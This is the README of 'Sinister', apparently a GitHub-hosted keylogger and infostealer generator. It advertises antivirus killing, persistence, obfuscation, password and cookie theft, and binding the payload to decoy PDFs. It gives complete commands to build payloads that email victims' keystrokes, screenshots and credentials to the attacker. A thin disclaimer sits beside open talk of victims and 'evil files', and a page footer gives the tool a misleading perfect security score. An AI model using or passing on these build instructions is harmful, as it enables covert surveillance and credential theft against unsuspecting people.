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Sinister

Sinister is Windows/Linux Keylogger Generator which sends key-logs via email with other juicy target info

Install / Use

/learn @PushpenderIndia/Sinister

README

<p align="center"> <img src="https://github.com/PushpenderIndia/Sinister/blob/master/img/technowlogger-logo.png" alt="Sinister Logo" width=200 height=200/> </p> <h1 align="center">Sinister</h1> <p align="center"> <a href="https://python.org"> <img src="https://img.shields.io/badge/Python-3.7-green.svg"> </a> <a href="https://github.com/PushpenderIndia/Sinister/blob/master/LICENSE"> <img src="https://img.shields.io/badge/License-BSD%203-lightgrey.svg"> </a> <a href="https://github.com/PushpenderIndia/Sinister/releases"> <img src="https://img.shields.io/badge/Release-2.4-blue.svg"> </a> <a href="https://github.com/PushpenderIndia/Sinister"> <img src="https://img.shields.io/badge/Open%20Source-%E2%9D%A4-brightgreen.svg"> </a> </p> <p align="center"> <img src="https://github.com/PushpenderIndia/Sinister/blob/master/img/hacker-gif.gif" alt="Hacker GIF" width=200 height=200/> </p>
                    This small python script can do really awesome work.

Sinister is Keylogger Generator for Windows/Linux, which sends key-logs & screenshot via email with other juicy target info written in Python 3.

Disclaimer

<p align="center"> :computer: This project was created only for good purposes and personal use. </p>

THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.

Features

  • [x] Works on Windows/Linux
  • [x] Notify New Victim Via Email
  • [x] Undetectable
  • [x] Persistence
  • [x] Email Credentials Validation before Payload Generation.
  • [x] Can receive Keylogs in any email provider such as GMAIL, YAHOO, OUTLOOK, Custom SMTP.
  • SMTP Server/ Port

| Server Name | SMTP Server | SMTP Port | | ----------- | ----------- | --------- | | GMAIL | smtp.gmail.com | 587 | | OUTLOOK | smtp-mail.outlook.com | 587 | | YAHOO | smtp.mail.yahoo.com | 587 |

  • [x] Sends Screenshot of Victim PC's Screen via email
  • [x] Creates Executable Binary With Zero Dependencies
  • [x] Create less size ~ 5mb payload with advance functionality
  • [x] Obfusticate the Payload before Generating it, hence Bypassing few more antivirus
  • [x] Generated Payload is Encoded with base64, hence makes extremely difficult to reverse engineer the payload
  • [x] Function to Kill Antivirus on Victim PC and tries to disable the security
  • [x] Awesome Colourful Interface to generate payload
  • [x] On Attacker Side: While Creating Payload, Script Automatically Detects Missing Dependencies & Installs Them
  • [x] Distinguish Log Data on the Basics of Active Window Name (Check Image for Better Understanding)
  • [x] Able to add custom Icon to evil file
  • [x] Built-in Binder which can bind Keylogger to Any File [.pdf, .txt, .exe etc], Running legitimate file on front end & evil codes in back-end as a service.
  • [x] Checks for Already Running Instance on System, If running instance found, then only legitimate file is executed [Multiple Instance Prohibiter to avoid Receiving Duplicate Email Logs].
  • [x] Attacker can Create/Compile for Both Windows/Linux OS Using Linux System, But Can only Create/Compile Windows Executable using Windows Machine
  • [x] Retrieves Saved Passwords from victim System and sends it to Attacker.

| Built-in Stealer Can Steal These Things : | | ----------------------------------------------------------- | | Chrome Browser (Saved Password) | | WiFi (Saved Password) | | Chrome Cookies (Login Data, Cookies, History) | | Firefox Cookies (cookies.sqlite) |

Note: Custom Stealer is Coded, does not relies on LaZagne

  • [x] Grabs & Send Useful Information of Victim's Device

| These Things are Grabbed & Sended: | | -----------------------------------| | Operating System | | Computer Name | | User Name | | Public IPv4 |

  • [x] If your payload is unable to execute, then specify --debug to run exe on foreground with CMD

Important

On 30 May 2022, Google has removed less secure apps feature, so instead of Gmail Password:

  • Enable 2FA on your attacker gmail
  • Create App Specific Password
  • Use that app specific password, while creating payload.
  • How to Create App Specific Password: Click Here

Tested On

Kali) Kali Linux - ROLLING EDITION

Windows) Windows 10

Windows) Windows 8.1 - Pro

Windows) Windows 7 - Ultimate

Prerequisite

  • [x] Python 3.X
  • [x] Few External Modules

How To Use in Linux

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Navigate to Sinister folder
$ cd Sinister

# Installing dependencies
$ bash installer_linux.sh

*** Note When The Python Installer DialogBox Appear while executing installer_linux.sh ***
    * Click on custom install 
    * Select Path to : C:/Python37-32
    ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# Making Payload/RAT
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

How To Use in Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Go into the repository
$ cd Sinister

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open Sinister.py in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe" 

# Getting Help Menu
$ python Sinister.py --help

# Making Payload/RAT
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass-w -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

How to Update

  • Run updater.py to Update Autmatically or Download the latest Zip from this GitHub repo
  • Note: Git Must be Installed in order to use updater.py

Note:- Evil File will be saved inside dist/ folder, inside Sinister/ folder

Available Arguments

  • Optional Arguments

| Short Hand | Full Hand | Description | | ---------- | --------- | ----------- | | -h | --help | show this help message and exit | | -i INTERVAL | --interval INTERVAL | Time between reports in seconds. default=120| | -t TIME_PERSISTENT | --persistence TIME_PERSISTENT | Becoming Persistence After __ seconds. default=10 | | -x SMTP_Server | --smtp | Custom SMTP Server . default="smtp.gmail.com" | | -y SMTP_Port | --port | Custom SMTP Port . default=587 | | -w | --windows | Generate a Windows executable. | | -l | --linux | Generate a Linux executable. | | -s | --steal-password | Steal Saved Password from Victim Machine [Supported OS : Windows] | | -b file.txt | --bind LEGITIMATE_FILE_PATH.pdf | AutoBinder : Specify Path of Legitimate file. [Supported OS : Windows] | | -d | --debug | Payload Will Run In Foreground with CMD Window, To get Appropriate Execution Error |

Note : Either -w/--windows or -l/--linux must be specified

  • Required Arguments

| Short Hand | Full Hand | Description | | ---------- | --------- | ----------- | | | --icon ICON | Specify Icon Path, Icon of Evil File [Note : Must Be .ico] | | -e EMAIL | --email EMAIL | Email address to send reports to. | | -p PASSWORD | --password PASSWORD | Password for the email address given in the -e argument. | | -o OUT | --out OUT | Output file name.|

New Screenshots:

Getting Help

Generating payload

Getting report

Log Data is Distinguished on The Basics of Active Window Name ~ Feature Added to v1.3 & Onward

Ret

View on GitHub
GitHub Stars459
CategoryDevelopment
Updated18d ago
Forks93

Languages

Python

Security Score

100/100

Audited on Mar 3, 2026

No findings